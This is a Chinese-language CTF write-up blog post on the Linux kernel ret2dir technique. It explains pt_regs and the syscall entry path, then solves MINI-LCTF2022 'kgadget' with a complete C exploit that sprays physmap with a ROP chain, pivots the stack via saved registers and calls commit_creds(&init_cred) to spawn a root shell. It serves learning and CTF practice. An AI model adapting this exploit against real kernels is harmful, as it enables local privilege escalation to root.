Kernel ROP ret2dir

论如何逐渐偏离主题:ret2dir看不懂→看内存相关源码解析→想调试看页表初始化→找不到入口从BIOS开始调试→调试到页表初始化结束→终于结束了开始ret2dir

感觉干了几天跟没干一样,但确实对内存映射有了实感,勉强算一种收获吧(以后再也不钻牛角尖了我发誓╥﹏╥…)

先说明一下一个用到的结构体pt_regs

pt_regs

pt_regs结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long bp;
unsigned long bx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long ax;
unsigned long cx;
unsigned long dx;
unsigned long si;
unsigned long di;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_ax;
/* Return frame for iretq */
unsigned long ip;
unsigned long cs;
unsigned long flags;
unsigned long sp;
unsigned long ss;
/* top of stack page */
};

在进行系统调用之前会把寄存器入栈,入栈的结构和pt_regs相符(是正着的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
SYM_CODE_START(entry_SYSCALL_64)
UNWIND_HINT_EMPTY

swapgs
/* tss.sp2 is scratch space. */
movq %rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)

/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(cpu_tss_rw + TSS_sp2) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
pushq %rax /* pt_regs->orig_ax */

PUSH_AND_CLEAR_REGS rax=$-ENOSYS

/* IRQs are off. */
movq %rax, %rdi
movq %rsp, %rsi
call do_syscall_64 /* returns with IRQs disabled */
……

有一部分压栈操作在PUSH_AND_CLERT_REGS宏里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.macro PUSH_AND_CLEAR_REGS rdx=%rdx rax=%rax save_ret=0
.if \save_ret
pushq %rsi /* pt_regs->si */
movq 8(%rsp), %rsi /* temporarily store the return address in %rsi */
movq %rdi, 8(%rsp) /* pt_regs->di (overwriting original return address) */
.else
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
.endif
pushq \rdx /* pt_regs->dx */
pushq %rcx /* pt_regs->cx */
pushq \rax /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
pushq %rbx /* pt_regs->rbx */
pushq %rbp /* pt_regs->rbp */
pushq %r12 /* pt_regs->r12 */
pushq %r13 /* pt_regs->r13 */
pushq %r14 /* pt_regs->r14 */
pushq %r15 /* pt_regs->r15 */
UNWIND_HINT_REGS
……

例题:MINI-LCTF2022 - kgadget

arttnba3师傅的博客讲的很清楚的了就不说了

调试过程

进入call rbx,程序跳至gadget:

1
2
3
4
5
6
add    rsp, 0xa0
pop rbx
pop r12
pop r13
pop rbp
ret

执行完gadget后栈顶是储存r9的地址,之后就是try_hit

执行完r9的pop rsp后try_hit被pop到rsp中,栈就被搬到了direct mapping area里

之后ret就会执行写入的ROP链

exp

这次使用commit_creds(&init_cred)提权

ps:要注意一下ioctl的第三个参数是个指针,不是直接数值传递所以必须将gadget先写进一块内核空间,即direct mapping area

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include "kernel.h"

#define ADD_RSP_0XA0_POP_RBX_POP_R12_POP_R13_POP_RBP_RET 0xffffffff810737fe
#define RET 0xffffffff8108c6f1
#define POP_RDI_RET 0xffffffff8108c6f0
#define INIT_CRED 0xffffffff82a6b700
#define COMMIT_CREDS 0xffffffff810c92e0;
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00fb0 + 27

size_t pop_rsp_ret = 0xffffffff811483d0;
size_t *physmap_spray_arr[16000];
int fd;
size_t try_hit;

void construct_rop_chain(size_t *rop)
{
int i = 0;
rop[i++] = ADD_RSP_0XA0_POP_RBX_POP_R12_POP_R13_POP_RBP_RET;
for(i = 1; i <= (0xa0 + 4 * 8) / 8; i++)
rop[i] = (size_t)0;
rop[i++] = POP_RDI_RET;
rop[i++] = INIT_CRED;
rop[i++] = COMMIT_CREDS;
rop[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
rop[i++] = (size_t)0;
rop[i++] = (size_t)0;
rop[i++] = (size_t)get_root_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp + 8;
rop[i++] = user_ss;
}

int main()
{
save_status();

fd = open_dev("/dev/kgadget");
if(fd < 0)
fail_print("Open Error!");
int page_size = sysconf(_SC_PAGESIZE);

size_t rop_chain[page_size / sizeof(size_t)];
construct_rop_chain(rop_chain);

trying_print("Spraying physmap...");
int i;
for(i = 0; i < 15000; i++)
{
physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(!physmap_spray_arr[i])
fail_print("Mmap Error!");
memcpy(physmap_spray_arr[i], rop_chain, page_size);
}

trying_print("trigger physmap one_gadget...");
try_hit = 0xffff888000000000 + 0x7000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp_ret;"
"mov r8, try_hit;"
"mov rax, 0x10;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, try_hit;"
"mov rsi, 0x1bf52;"
"mov rdi, fd;"
"syscall"
);
return 0;
}

Kernel ROP ret2dir
http://akaieurus.github.io/2023/08/10/kernel-ROP-ret2dir/
作者
Eurus
发布于
2023年8月10日
许可协议